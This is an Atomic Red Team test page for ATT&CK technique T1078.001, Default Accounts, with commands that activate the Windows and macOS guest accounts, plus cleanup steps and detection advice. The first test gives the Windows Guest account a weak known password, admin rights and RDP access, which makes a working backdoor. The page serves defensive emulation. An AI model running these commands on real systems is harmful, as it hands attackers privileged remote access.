T1078.001 - Default Accounts#

Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.(Citation: Metasploit SSH Module)

Atomic Tests#

Atomic Test #1 - Enable Guest account with RDP capability and admin privilegesAfter execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,#

and desktop will allow multiple RDP connections. Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

net user guest /active:yes
net user guest Password123!
net localgroup Administrators guest /add
net localgroup "Remote Desktop Users" guest /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f```
Invoke-AtomicTest T1078.001 -TestNumbers 1

Cleanup:#

net user guest /active:no >nul 2>&1
net localgroup Administrators guest /delete >nul 2>&1
net localgroup "Remote Desktop Users" guest /delete >nul 2>&1
if 0 NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)
if 0 EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
if 0 EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1)```
Invoke-AtomicTest T1078.001 -TestNumbers 1 -Cleanup

Atomic Test #2 - Activate Guest AccountThe Adversaries can activate the default Guest user. The guest account is inactivated by default#

Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

net user guest /active:yes
Invoke-AtomicTest T1078.001 -TestNumbers 2

Cleanup:#

net user guest /active:no
Invoke-AtomicTest T1078.001 -TestNumbers 2 -Cleanup

Atomic Test #3 - Enable Guest Account on macOSThis test enables the guest account on macOS using sysadminctl utility.Supported Platforms: macos#

Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

sudo sysadminctl -guestAccount on```
Invoke-AtomicTest T1078.001 -TestNumbers 3

Cleanup:#

sudo sysadminctl -guestAccount off```
Invoke-AtomicTest T1078.001 -TestNumbers 3 -Cleanup

Detection#

Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.